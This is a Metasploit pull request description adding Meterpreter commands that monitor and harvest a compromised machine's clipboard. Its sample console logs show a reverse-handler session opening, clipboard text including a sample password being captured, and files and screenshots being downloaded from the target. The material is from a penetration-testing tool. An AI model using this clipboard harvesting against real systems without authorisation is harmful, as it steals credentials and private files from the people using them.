rapid7/metasploit-framework — pull request #2930 by OJ (2014-01-29 13:12:26+00:00)
Title: Add clipboard monitor support

This PR is the MSF side of the [Meterpreter PR](https://github.com/rapid7/meterpreter/pull/74) which adds functionality to MSF to allow for the target machine's clipboard to be active monitored and harvested when the contents of the clipboard change.

Built-in there is functionality which:

* Actively monitors the clipboard, and harvests the data.
* Dumps the data on request, including image and file data.
* Purges unwanted data.
* Pauses and resumes without terminating threads.
* Outputs the captured information with timestamps in chronological order.

## Sample run

Help details:

```
msf exploit(handler) > exploit

[*] Started reverse handler on 10.1.10.40:8000
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 10.1.10.32
[*] Meterpreter session 2 opened (10.1.10.40:8000 -> 10.1.10.32:55396) at 2014-01-29 22:27:46 +1000

meterpreter > use extapi
Loading extension extapi...success.
meterpreter > help

Extapi: Clipboard Management Commands
=====================================

Command Description
------- -----------
clipboard_get_data Read the target's current clipboard (text, files, images)
clipboard_monitor_dump Dump all captured clipboard content
clipboard_monitor_pause Pause the active clipboard monitor
clipboard_monitor_purge Delete all captured cilpboard content without dumping it
clipboard_monitor_resume Resume the paused clipboard monitor
clipboard_monitor_start Start the clipboard monitor
clipboard_monitor_stop Stop the clipboard monitor
clipboard_set_text Write text to the target's clipboard

meterpreter > clipboard_monitor_start -h

Usage: clipboard_monitor_start [-i true|false] [-h]

Starts a background clipboard monitoring thread. The thread watches
the clipboard on the target, under the context of the current desktop, and when
changes are detected the contents of the clipboard are captured. Contents can be
dumped periodically. Image content can be captured as well (and will be by default)
however this can consume quite a bit of memory.

OPTIONS:

-h Help banner
-i Capture image content when monitoring (default: true)

meterpreter > clipboard_monitor_pause -h

Usage: clipboard_monitor_pause [-h]

Pause the currently running clipboard monitor thread.

OPTIONS:

-h Help banner

meterpreter > clipboard_monitor_resume -h

Usage: clipboard_monitor_resume [-h]

Resume the currently paused clipboard monitor thread.

OPTIONS:

-h Help banner

meterpreter > clipboard_monitor_dump -h

Usage: clipboard_monitor_dump [-d true|false] [-d downloaddir] [-h]

Dump the capture clipboard contents to the local machine..

OPTIONS:

-d Download non-text content to the specified folder (default: current dir)
-f Indicate if captured file data should be downloaded (default: true)
-h Help banner
-i Indicate if captured image data should be downloaded (default: true)
-p Purge the contents of the monitor once dumped (default: true)

meterpreter > clipboard_monitor_purge -h

Usage: clipboard_monitor_purge [-h]

Purge the captured contents from the monitor. This does not stop
the monitor from running, it just removes captured content.

OPTIONS:

-h Help banner

meterpreter > clipboard_monitor_stop -h

Usage: clipboard_monitor_stop [-d true|false] [-x true|false] [-d downloaddir] [-h]

Stops a clipboard monitor thread and returns the captured data to the local machine.

OPTIONS:

-d Download non-text content to the specified folder (default: current dir)
-f Indicate if captured file data should be downloaded (default: true)
-h Help banner
-i Indicate if captured image data should be downloaded (default: true)
-x Indicate if captured clipboard data should be dumped (default: true)

```

And here's a quick run through with different types of stuff being captured:

```
meterpreter > clipboard_monitor_start
[+] Clipboard monitor started
meterpreter > clipboard_monitor_dump
Text captured at 2014-01-29 12:48:23.0831
=========================================
meterpreter > clipboard_monitor_start
[+] Clipboard monitor started

=========================================

Text captured at 2014-01-29 12:48:33.0794
=========================================
This is something important, like a password #@^!&$^*#@$
=========================================

Text captured at 2014-01-29 12:48:41.0740
=========================================
I'll grab a file or two..
=========================================

Text captured at 2014-01-29 12:49:00.0110
=========================================
Now I'll screenshot something
=========================================

Files captured at 2014-01-29 12:48:50.0334
==========================================
Remote Path : C:\Users\OJ\Desktop\Dbgview.exe
File size : 468056 bytes
downloading : C:\Users\OJ\Desktop\Dbgview.exe -> ./Dbgview.exe
downloaded : C:\Users\OJ\Desktop\Dbgview.exe -> ./Dbgview.exe

Remote Path : C:\Users\OJ\Desktop\Tcpview.exe
File size : 300832 bytes
downloading : C:\Users\OJ\Desktop\Tcpview.exe -> ./Tcpview.exe
downloaded : C:\Users\OJ\Desktop\Tcpview.exe -> ./Tcpview.exe

==========================================

Image captured at 2014-01-29 12:49:03.0685
==========================================
Dimensions : 997 x 700
Downloaded : /home/oj/code/metasploit-framework/201401291249030685-fvcMCDjW.jpg
==========================================

[+] Clipboard monitor dumped
```
Once dumped, there's nothing left:
```
meterpreter > clipboard_monitor_dump
[+] Clipboard monitor dumped
```

This is how dumping without purging works:
```
[+] Clipboard monitor dumped
meterpreter > clipboard_monitor_dump -p false
Text captured at 2014-01-29 12:51:09.0125
=========================================
Now I'll screenshot something
=========================================

Image captured at 2014-01-29 12:51:11.0825
==========================================
Dimensions : 997 x 700
Downloaded : /home/oj/code/metasploit-framework/201401291251110825-hHiiocwE.jpg
==========================================

[+] Clipboard monitor dumped
meterpreter > clipboard_monitor_dump
Text captured at 2014-01-29 12:51:09.0125
=========================================
Now I'll screenshot something
=========================================

Image captured at 2014-01-29 12:51:11.0825
==========================================
Dimensions : 997 x 700
Downloaded : /home/oj/code/metasploit-framework/201401291251110825-CLexYrvZ.jpg
==========================================

[+] Clipboard monitor dumped
meterpreter > clipboard_monitor_dump
[+] Clipboard monitor dumped
```
Stopping the monitor will, by default, dump the data:
```
meterpreter > clipboard_monitor_stop
Text captured at 2014-01-29 13:03:16.0826
=========================================
Now I'll screenshot something
=========================================

[+] Clipboard monitor stopped
```